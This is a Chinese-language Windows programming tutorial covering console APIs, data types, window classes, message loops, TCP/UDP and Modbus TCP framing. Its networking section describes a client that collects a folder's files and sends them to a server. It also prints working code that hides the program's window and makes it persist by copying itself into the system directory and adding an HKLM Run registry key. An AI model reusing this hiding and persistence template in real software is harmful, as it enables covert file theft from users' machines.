Windows編程[上]
- 一、Windows API
- 1.控制臺大小設置
- 1.1 GetStdHandle
- 1.2 SetConsoleWindowInfo
- 1.3 SetConsoleScreenBufferSize
- 1.4 SetConsoleTitle
- 1.5 封裝為Innks
- 2.控制臺字體設置以及光標調整
- 2.1 GetConsoleCursorInfo
- 2.2 SetConsoleCursorPosition
- 2.3 GetCurrentConsoleFontEx
- 2.4 修改Innks以便用戶輸入字體設置
- 3. 緩沖區字符
- 3.1 SetConsoleTextAttribute
- 3.2 WriteConsoleOutput
- 3.3 設計按鈕控件
- 二、Windows 數據類型
- 1.基本數據類型
- 1.1 字符類型
- 1.2 **整型**
- 1.3 字符串型
- 2.常見的Windows數據類型
- 3.特殊數據類型
- 4.編碼規范
- 三、Windows應用程序
- 1.WinMain 應用程序入口點
- 2.WNDCLASS結構
- 3.大致框架
- 4.概念介紹
- 4.1 窗口與句柄
- 4.2 消息循環
- 4.3 窗口過程函數(Window Procedure)
- 4.4 總結
- 四、網絡篇
- 1.TCP和UDP
- TCP的主要特性
- UDP的主要特性
- 2.listen的參數含義
- 3.改進recv和send函數
- 4.截取文件內容客戶端
- 5.截取文件內容服務器
- 6.截取文件內容客戶端隱藏自身和自啟動(通用模板)
- 6.1 通用錯誤處理函數
- 6.2 隱藏自身
- 6.3 自啟動
- 7.modbusTCP
- 7.1 Modbus 通信模型
- 7.2 Modbus TCP 幀結構
- 7.3 數據模型
- 7.4 功能碼(Function Codes)
- 7.5 構建幀
微軟開發文檔地址
Windows 程序設計:以 C++類的形式封裝了 Windows API,并且包含一個應用程序框架,以減少應用程序開發人員的工作量。包含大量 Windows 句柄封裝類和很多 Windows 的內建控件和組件的封裝類。專心的考慮程序的邏輯,而不是這些每次編程都要重復的東西,但是由于是通用框架,沒有最好的針對性。
C/C++編程:僅產生少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。依靠非常全面的運算符和多樣的數據類型,可以容易完成各種數據結構的構建,通過指針類型可對內存直接尋址以及對硬件進行直接操作,因此既能夠用于開發系統程序,也可用于開發應用軟件。
VA 的常用快捷鍵:
- ALT+G 調到定義
- ALT + SHIFT + F 查找所有引用
- ALT + 左箭頭/右箭頭:回退/前進
一、Windows API
微軟官方文檔地址
1.控制臺大小設置
1.1 GetStdHandle
GetStdHandle
是 Windows API 中的一個函數,用于獲取標準輸入、標準輸出或標準錯誤的句柄。這些句柄可以用于控制臺應用程序與用戶進行交互時的輸入和輸出操作。
1.2 SetConsoleWindowInfo
設置控制臺屏幕緩沖區窗口的當前大小和位置。
矩形的寬度 = Right - Left + 1
矩形的高度 = Bottom - Top + 1
1.3 SetConsoleScreenBufferSize
設置控制臺緩沖區大小。
1.4 SetConsoleTitle
設置控制臺窗口標題。
1.5 封裝為Innks
總體設計如下,除了設置寬、高、窗口名以外,我們還定義了一個回調函數的格式,讓用戶可以通過自定義的回調函數來對不同的錯誤類型進行處理。
在每次遇到返回值處理的時候,我們都交給用戶傳入的函數來進行相應處理。
當再次調整緩沖區大小為窗口大小的時候,會發現窗口寬和高各留了一個像素,這個其實是滾動條消失了,但是給滾動條預留的大小還存在窗口中,需要重新設置一下窗口大小。
2.控制臺字體設置以及光標調整
2.1 GetConsoleCursorInfo
獲得有關指定控制臺屏幕緩沖區的游標大小和可見性的信息。
2.2 SetConsoleCursorPosition
設置指定控制臺屏幕緩沖區中的光標位置。
2.3 GetCurrentConsoleFontEx
檢索有關當前控制臺字體的擴展信息。
2.4 修改Innks以便用戶輸入字體設置
3. 緩沖區字符
3.1 SetConsoleTextAttribute
設置由 WriteFile 或 WriteConsole 函數寫入控制臺屏幕緩沖區或由 ReadFile 或 ReadConsole 函數回顯的字符的屬性。 此函數會影響在函數調用后寫入的文本。
3.2 WriteConsoleOutput
將字符和顏色屬性數據寫入控制臺屏幕緩沖區中字符單元的指定矩形塊。 要寫入的數據取自源緩沖區中指定位置相應大小的矩形塊。
參數說明:
lpBuffer:
- 類型:
const CHAR_INFO*
- 描述: 指向一個包含要寫入控制臺屏幕緩沖區的字符和屬性數據的緩沖區。該緩沖區是一個二維數組,使用
CHAR_INFO
結構來表示每個字符及其屬性。
dwBufferCoord
- 類型:
COORD
- 描述: 定義
lpBuffer
緩沖區中要寫入數據的區域的左上角坐標。這個坐標是相對于lpBuffer
緩沖區的(而不是控制臺屏幕緩沖區)。
3.3 設計按鈕控件
關于文字的顏色。每種顏色對應一位,一共有4bit表示顏色,所以是16種。
如果我們僅僅使用 PCHAR dst
,在函數內部對 dst
的修改不會影響外部傳入的指針,這意味著我們不能在函數內分配新的內存并讓外部變量指向這塊內存。而使用 PCHAR& dst
,我們就可以在函數內部分配新內存,并使外部指針指向這塊新內存。當 dst
是空指針時,需要在函數內部分配新的內存并讓 dst
指向這塊新內存。這時因為需要修改 dst
指針本身,所以需要傳入指針的引用(PCHAR&
)或者使用指針的指針(PCHAR*
)。
二、Windows 數據類型
1.基本數據類型
1.1 字符類型
Unicode: Unicode 是一種字符編碼標準,使用 16 位數據表示一個字符,共可以表示 65535 種字符。它支持全球大部分語言的字符。
ANSI: ANSI 字符集使用 8 位數據或將相鄰的兩個 8 位的數據組合在一起表示特殊的語言字符。如果一個字節是負數,則將其后續的一個字節組合在一起表示一個字符。這種編碼方式的字符集也稱作“多字節”字符集。
在開發中文應用程序時,通常建議使用 Unicode 編碼集。
-
Unicode 支持全球幾乎所有語言的字符,這使得您的應用程序不僅可以處理中文,還可以輕松擴展支持其他語言,便于國際化。
-
Windows 操作系統內部大量使用 Unicode,使用 Unicode 可以避免多字節編碼集(如 ANSI)和 Unicode 之間的轉換問題,減少編碼錯誤,提高應用程序的穩定性。
-
現代的 Windows API 大多數都推薦使用 Unicode 版本(以
W
結尾的函數),而 ANSI 版本(以A
結尾的函數)主要是為了兼容老的系統和應用程序。使用 Unicode 可以確保應用程序在未來的 Windows 版本中有更好的兼容性。
1.2 整型
INT
: 表示整數類型,通常占用 4 個字節。UINT
: 表示無符號整數類型,通常占用 4 個字節。SHORT
: 表示短整數類型,通常占用 2 個字節。USHORT
: 表示無符號短整數類型,通常占用 2 個字節。LONG
: 表示長整數類型,通常占用 4 個字節。ULONG
: 表示無符號長整數類型,通常占用 4 個字節。
- 浮點型
FLOAT
: 表示單精度浮點數類型,通常占用 4 個字節。DOUBLE
: 表示雙精度浮點數類型,通常占用 8 個字節。
- 布爾型
BOOL
: 表示布爾類型,通常占用 4 個字節。取值為TRUE(1)
或FALSE(0)
。
1.3 字符串型
LPCSTR
- 含義: Windows ANSI 字符串常量(指向常量字符串的指針)。
- 用途: 指向一個以 null 結尾的 ANSI 字符串,通常用于函數參數。
? 2.LPCWSTR
- 含義: Unicode 字符串常量(指向常量寬字符字符串的指針)。
- 用途: 指向一個以 null 結尾的 Unicode 字符串,通常用于函數參數。
? 3.LPCTSTR
- 含義: 根據環境配置,如果定義了
UNICODE
宏,則是LPCWSTR
類型,否則是LPCSTR
類型。 - 用途: 用于兼容 Unicode 和 ANSI 的字符串常量指針。
LPDWORD
- 含義: 指向
DWORD
類型數據的指針。 - 用途: 指向一個 32 位無符號整數,通常用于函數參數傳遞地址。
LPSTR
- 含義: Windows ANSI 字符串變量(指向字符串的指針)。
- 用途: 指向一個以 null 結尾的 ANSI 字符串,可以被修改。
? 6.LPWSTR
- 含義: Unicode 字符串變量(指向寬字符字符串的指針)。
- 用途: 指向一個以 null 結尾的 Unicode 字符串,可以被修改。
? 7.LPTSTR
- 含義: 根據環境配置,如果定義了
UNICODE
宏,則是LPWSTR
類型,否則是LPSTR
類型。 - 用途: 用于兼容 Unicode 和 ANSI 的字符串指針,可以被修改。
2.常見的Windows數據類型
- 句柄類型
HANDLE
: 用于表示各種對象的句柄,如文件、窗口、菜單等。HWND
: 表示窗口句柄。HDC
: 表示設備上下文句柄,用于繪圖操作。HINSTANCE
: 表示應用程序實例句柄。
- 消息和時間類型
WPARAM
: 表示消息的附加信息,通常用于傳遞額外的數據,大小與指針相同。LPARAM
: 表示消息的附加信息,通常用于傳遞額外的數據,大小與指針相同。LRESULT
: 表示消息處理的返回值,大小與指針相同。DWORD
: 表示雙字類型,通常用于計時器或標志位,大小為 4 個字節。
- 指針類型
LPCTSTR
: 指向常量字符串的指針(適用于 Unicode 或 ANSI 字符)。LPTSTR
: 指向字符串的指針(適用于 Unicode 或 ANSI 字符)。LPVOID
: 指向任意類型的指針。
3.特殊數據類型
- RECT
- 表示矩形區域,包含四個整數值:
left
、top
、right
、bottom
。
- 表示矩形區域,包含四個整數值:
- POINT
- 表示二維點,包含兩個整數值:
x
和y
。
- 表示二維點,包含兩個整數值:
- SIZE
- 表示尺寸,包含兩個整數值:
cx
(寬度)和cy
(高度)。
- 表示尺寸,包含兩個整數值:
- COLORREF
- 表示顏色值,通常用 RGB 值表示。
4.編碼規范
前綴 | 含義 | 前綴 | 含義 |
---|---|---|---|
a | 數組 array | b | 布爾值 bool |
by | 無符號字符(字節) | c | 字符(字節) |
cb | 字節計數 | rgb | 保存顏色值的長整型 |
cx,cy | 短整型(計算 x,y 的長度) | dw | 無符號長整型 |
fn | 函數 | h | 句柄 |
i | 整形(integer) | m_ | 類的數據成員 member |
n | 短整型或整型 | np | 近指針 |
p | 指針(pointer) | l | 長整型(long) |
lp | 長指針 | s | 字符串 string |
sz | 以零結尾的字符串 | tm | 正文大小 |
w | 無符號整型 | x,y | 無符號整型(表示 x,y 的坐標) |
三、Windows應用程序
1.WinMain 應用程序入口點
_stdcall
調用約定:
-
參數傳遞順序:
參數從右到左進行壓棧。也就是說,最后一個參數最先被壓入堆棧。
-
堆棧清理:
調用該函數的代碼負責傳遞參數,但函數自身負責清理堆棧。這與
__cdecl
調用約定不同,__cdecl
是由調用者負責清理堆棧。 -
名稱修飾:
使用 _stdcall 調用約定的函數在編譯時會進行名稱修飾,函數名通常會被前綴一個下劃線并在后面加上 @ 和參數的字節數。例如:
int WINAPI MyFunction(int a, int b);
將被編譯器修飾為 _MyFunction@8。
2.WNDCLASS結構
WNDCLASS 是 Win32 編程中定義窗口類的結構體,用于注冊窗口類以便創建窗口。
style
- 類型:
UINT
- 含義: 窗口類的風格,可以是多個風格的組合,用
|
運算符連接。 - 常用值:
CS_HREDRAW
: 水平大小改變時重繪整個窗口。CS_VREDRAW
: 垂直大小改變時重繪整個窗口。CS_OWNDC
: 每個窗口有自己的設備上下文。
lpfnWndProc
- 類型:
WNDPROC
- 含義: 指向窗口過程函數的指針,定義窗口如何響應各種消息。
- 用法: 必須提供一個自定義的窗口過程函數,處理諸如
WM_PAINT
、WM_DESTROY
等消息。
cbClsExtra
- 類型:
int
- 含義: 分配給窗口類的額外內存字節數。
- 用法: 通常設為 0,除非需要為窗口類分配額外內存。
cbWndExtra
- 類型:
int
- 含義: 分配給每個窗口實例的額外內存字節數。
- 用法: 通常設為 0,除非需要為每個窗口實例分配額外內存。
hInstance
- 類型:
HINSTANCE
- 含義: 應用程序實例句柄。
- 用法: 通常使用
GetModuleHandle(NULL)
獲取當前應用程序實例句柄。
hIcon
- 類型:
HICON
- 含義: 窗口類的圖標句柄。
- 用法: 可以使用
LoadIcon
加載圖標資源。
hCursor
- 類型:
HCURSOR
- 含義: 窗口類的光標句柄。
- 用法: 可以使用
LoadCursor
加載光標資源。
hbrBackground
- 類型:
HBRUSH
- 含義: 窗口背景刷句柄,用于繪制窗口背景。
- 用法: 可以使用系統預定義的刷子,如
(HBRUSH)(COLOR_WINDOW+1)
。
lpszMenuName
- 類型:
LPCTSTR
- 含義: 窗口類的菜單名稱。
- 用法: 如果窗口類有一個菜單,可以在這里指定菜單資源名稱,否則設為
NULL
。
lpszClassName
- 類型:
LPCTSTR
- 含義: 窗口類名稱,用于唯一標識窗口類。
- 用法: 必須提供一個獨特的名稱,通常是一個字符串常量。
3.大致框架
4.概念介紹
4.1 窗口與句柄
窗口(Window):窗口是 Windows 操作系統的一個基本組成部分,它代表了用戶界面的一部分。幾乎所有的用戶界面元素(如按鈕、文本框、列表框等)都是窗口。可以顯示信息、接收用戶輸入等。
MFC 提供了一組類來表示不同類型的窗口,這些類都派生自 CWnd
類。以下是一些常見的 MFC 窗口類:
CFrameWnd
:用于表示主框架窗口。CDialog
:用于表示對話框窗口。CView
:用于表示視圖窗口,通常與文檔-視圖架構(Document/View Architecture)一起使用。CButton
、CEdit
、CListBox
等:用于表示各種控件窗口。
句柄(Handle):句柄是一個唯一的整數值,用于標識 Windows 系統中的對象。句柄可以看作是對象的標識符,允許應用程序與操作系統進行交互而不必了解對象的內部結構。
常見的句柄類型:
- 窗口句柄(HWND):表示窗口對象的句柄。
- 設備上下文句柄(HDC):表示設備上下文的句柄,用于繪圖操作。
- 實例句柄(HINSTANCE):表示應用程序實例的句柄。
- 菜單句柄(HMENU):表示菜單的句柄。
在 MFC 中,每個窗口對象都有一個對應的窗口句柄(HWND)。窗口句柄是由 Windows 操作系統分配的,用于唯一標識窗口。
窗口對象:窗口對象是系統內部用來管理窗口狀態和行為的數據結構。通過窗口句柄,可以訪問窗口對象并對其進行操作,如顯示窗口、更新窗口內容等。
4.2 消息循環
消息(Message):在 Win32 編程中,系統通過消息機制與窗口通信。每當發生用戶輸入(如鼠標點擊、鍵盤輸入)或系統事件(如窗口大小改變),系統會生成相應的消息并將其發送給窗口。
消息循環(Message Loop):消息循環是一個循環結構,用于從消息隊列中獲取消息并將其分派給窗口過程函數進行處理。
消息循環的基本流程如下:
- 獲取消息:從應用程序的消息隊列中獲取下一條消息。
- 翻譯消息:將虛擬鍵消息(如鍵盤輸入)翻譯為字符消息。
- 分發消息:將消息分發給相應的窗口過程進行處理。
- 處理消息:窗口過程處理消息,并執行相應的操作。
在傳統的 Windows 應用程序中,消息循環通常如下所示:
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessage(&msg);
}
4.3 窗口過程函數(Window Procedure)
在 Windows 編程中,窗口過程函數(Window Procedure)是一個非常重要的概念。窗口過程函數是處理窗口消息的核心函數,每當窗口接收到消息時,操作系統都會調用這個函數。每個窗口類都有一個窗口過程函數,定義窗口如何響應各種消息。
4.4 總結
Win32 應用程序開發涉及以下步驟:
- 注冊窗口類。
- 創建窗口實例。
- 顯示和更新窗口。
- 運行消息循環。
- 定義窗口過程函數處理消息。
四、網絡篇
1.TCP和UDP
TCP的主要特性
- 連接導向:TCP是一個面向連接的協議。在傳輸數據之前,需要建立一個連接。這個過程包括三次握手(Three-way Handshake)。
- 可靠傳輸:通過確認(ACK)和重傳機制保證數據的可靠傳輸。
- 數據流控制:通過滑動窗口機制實現流量控制,防止發送方發送速度過快導致接收方無法處理。
- 擁塞控制:采用慢啟動、擁塞避免、快重傳和快恢復等算法進行擁塞控制。
- 無邊界數據流:TCP把數據視為一個連續的數據流,沒有數據邊界的概念。
TCP協議中不存在數據邊界的概念意味著,TCP將數據視為一個連續的字節流,而不是一個個獨立的數據包。在傳輸過程中,數據被分割成段(segment),每個段包含一部分數據流中的字節,但TCP并不關心這些段的邊界。
建立TCP連接時,需要進行三次握手過程,以確保雙方都準備好并且能夠進行通信。
- 第一次握手:客戶端發送SYN(同步序列編號)包,表明客戶端希望建立連接,并且客戶端的初始序列號(Sequence Number,Seq)為X。
- 第二次握手:服務器收到SYN包后,回復一個SYN-ACK包。這個包中包含服務器的初始序列號Y,并確認客戶端的序列號(ACK = X+1)。
- 第三次握手:客戶端收到SYN-ACK包后,發送一個ACK包,確認服務器的序列號(ACK = Y+1)。此時,連接建立。
關閉TCP連接需要四次揮手過程,確保雙方都完成了數據傳輸并且準備關閉連接。
- 第一次揮手:客戶端發送FIN包,表示不再發送數據,但仍可接收數據。
- 第二次揮手:服務器收到FIN包后,回復ACK包,確認收到客戶端的FIN包。
- 第三次揮手:服務器發送FIN包,表示不再發送數據。
- 第四次揮手:客戶端收到服務器的FIN包后,回復ACK包,確認收到服務器的FIN包,連接關閉。
UDP的主要特性
- 無連接:在傳輸數據之前不需要建立連接,每個數據報獨立傳輸。
- 不可靠:不保證數據報的到達,不進行確認和重傳。
- 無序:不保證數據報按順序到達,數據報可能亂序到達。
- 數據報邊界:UDP將數據看作一個個獨立的數據報,每個數據報有明確的邊界。
- 低開銷:由于不需要連接管理和可靠性保證,UDP的開銷比TCP低。
2.listen的參數含義
listen
函數用于將套接字設置為被動模式,準備接受連接請求。其原型如下:
int listen(int sockfd, int backlog);
- backlog:指定完全建立的連接和半連接的隊列長度。
backlog 參數指定了內核為這個套接字維護的連接請求隊列的最大長度。這個隊列包含了已完成的連接和等待完成的連接(半連接)。
我們可以將連接請求隊列分為兩個部分:
- 半連接隊列(Syn Queue):存放那些已經發送了 SYN 報文但還沒有完成三次握手的連接請求。
- 完全連接隊列(Accept Queue):存放那些已經完成三次握手,等待被
accept
函數處理的連接。
假設 backlog 設置為 5,表示服務器最多能同時處理 5 個連接請求:
- 當有第 6 個連接請求到達時,如果完全連接隊列已經滿了,這個請求會被拒絕。
- 只有當服務器調用
accept
函數并從完全連接隊列中移除一個連接后,新的連接請求才能進入這個隊列。
當我們通過多個客戶端連接服務器的時候,只有前五個連接成功了,后面的都是錯誤10061。
也就是說,服務器拒絕連接。
3.改進recv和send函數
4.截取文件內容客戶端
先實現一個找到文件夾中所有文件的函數。
找到文件后,發送文件內容給指定服務器。
5.截取文件內容服務器
6.截取文件內容客戶端隱藏自身和自啟動(通用模板)
6.1 通用錯誤處理函數
void ErrorHandling(const char* format, ...)
{va_list args;va_start(args, format);vfprintf(stderr, format, args); // 格式化輸出錯誤信息到標準錯誤流va_end(args);fputc('\n', stderr); exit(1);
}
6.2 隱藏自身
void HideMyself()
{//拿到當前的窗口句柄HWND hwnd = GetForegroundWindow();//隱藏當前窗口ShowWindow(hwnd, SW_HIDE);
}
6.3 自啟動
void AddToSystem(const char* programName) {HKEY hKEY;char CurrentPath[MAX_PATH];char SysPath[MAX_PATH];long ret = 0;LPSTR FileNewName;LPSTR FileCurrentName;DWORD type = REG_SZ;DWORD size = MAX_PATH;LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";// 獲取系統目錄GetSystemDirectory(SysPath, size);// 獲取當前程序路徑GetModuleFileName(NULL, CurrentPath, size);// 復制文件FileCurrentName = CurrentPath;FileNewName = strcat(SysPath, "\\");FileNewName = strcat(FileNewName, programName);struct _finddata_t Steal;cout << "ret1 = " << ret << endl;if (_findfirst(FileNewName, &Steal) != -1) {// 已經安裝cout << "ret2 = " << ret << endl;return;}int ihow = MessageBox(0,"該程序僅用于合法目的的運行!\n""按“取消”退出。\n""按“是”按鈕將復制到您的計算機上,并隨系統啟動自動運行。\n""按“否”按鈕,程序只運行一次,不會在您的系統內留下任何痕跡。","警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);if (ihow == IDCANCEL)exit(0);if (ihow == IDNO) {// 只運行一次return;}// 復制文件ret = CopyFile(FileCurrentName, FileNewName, TRUE);if (!ret) {cout << "文件復制失敗" << endl;return;}// 加入注冊表cout << "ret = " << ret << endl;ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);if (ret != ERROR_SUCCESS) {cout << "無法打開注冊表項" << endl;RegCloseKey(hKEY);return;}// 設置注冊表值ret = RegSetValueEx(hKEY, "MyProgram", 0, type, (const unsigned char*)FileNewName, size);if (ret != ERROR_SUCCESS) {cout << "無法設置注冊表值" << endl;RegCloseKey(hKEY);return;}RegCloseKey(hKEY);cout << "程序成功添加到啟動項" << endl;
}
7.modbusTCP
Modbus TCP協議通常在應用層實現。在Modbus TCP中,每個數據包由一個MBAP頭和一個PDU(協議數據單元)組成。MBAP頭包含事務ID、協議ID、長度和單元ID。PDU則包含功能碼和數據。
7.1 Modbus 通信模型
- 主/從(Master/Slave)模型:在 Modbus 通信中,通常由一個主設備(Master)和一個或多個從設備(Slave)組成。主設備發出請求,從設備響應。
- 客戶端/服務器(Client/Server)模型:在 Modbus TCP 中,客戶端(Client)類似于傳統 Modbus 中的主設備,而服務器(Server)類似于從設備。客戶端發出請求,服務器響應。
7.2 Modbus TCP 幀結構
-
Modbus TCP 的消息框架
基于 Modbus RTU/ASCII 的消息框架,并在其前面加上一個 Modbus TCP 的特定頭(MBAP Header)。
MBAP 頭包含以下字段:
- Transaction Identifier(2 字節):由客戶端生成,用于匹配請求和響應。
- Protocol Identifier(2 字節):總是為 0,表示 Modbus 協議。
- Length(2 字節):表示剩余消息的長度(包括單元標識符和數據)。
- Unit Identifier(1 字節):用于標識遠程從設備,在 Modbus TCP 中通常為 0。
-
Modbus PDU(Protocol Data Unit):緊隨 MBAP 頭之后,包括功能碼和數據。
7.3 數據模型
Modbus 協議使用以下數據模型:
- 離散輸出(線圈,Coils):單個位,可以讀寫。
- 離散輸入(Discrete Inputs):單個位,只讀。
- 保持寄存器(Holding Registers):16位寄存器,可以讀寫。
- 輸入寄存器(Input Registers):16位寄存器,只讀。
這些寄存器的地址范圍通常為 0 到 65535。
7.4 功能碼(Function Codes)
Modbus 協議定義了一組功能碼,用于指定不同的操作,例如讀寫寄存器或線圈。常見的功能碼包括:
- 0x01:讀線圈(Read Coils)
- 0x02:讀離散輸入(Read Discrete Inputs)
- 0x03:讀保持寄存器(Read Holding Registers)
- 0x04:讀輸入寄存器(Read Input Registers)
- 0x05:寫單個線圈(Write Single Coil)
- 0x06:寫單個保持寄存器(Write Single Register)
- 0x0F:寫多個線圈(Write Multiple Coils)
- 0x10:寫多個保持寄存器(Write Multiple Registers)
7.5 構建幀
Modbus TCP協議遵循大端(Big-endian)字節序,即高位字節在前,低位字節在后。
事務處理標識假設它的值是 0x0001
query[0] = 0x0001 >> 8; // 獲取高字節,0x00
query[1] = 0x0001 & 0xFF; // 獲取低字節,0x01
協議標識:固定為 0x0000
query[2] = 0x0000 >> 8; // 獲取高字節,0x00
query[3] = 0x0000 & 0xFF; // 獲取低字節,0x00
長度:假設它的值是 0x0006
query[4] = 0x0006 >> 8; // 獲取高字節,0x00
query[5] = 0x0006 & 0xFF; // 獲取低字節,0x06
單元標識符:假設它的值是 0x01
query[6] = 0x01;
功能碼:假設它的值是 0x03
query[7] = function_code; // 0x03
開始地址:假設它的值是 0x0000
query[8] = 0x0000 >> 8; // 獲取高字節,0x00
query[9] = 0x0000 & 0xFF; // 獲取低字節,0x00
寄存器個數:假設它的值是 0x000A
query[10] = 0x000A >> 8; // 獲取高字節,0x00
query[11] = 0x000A & 0xFF; // 獲取低字節,0x0A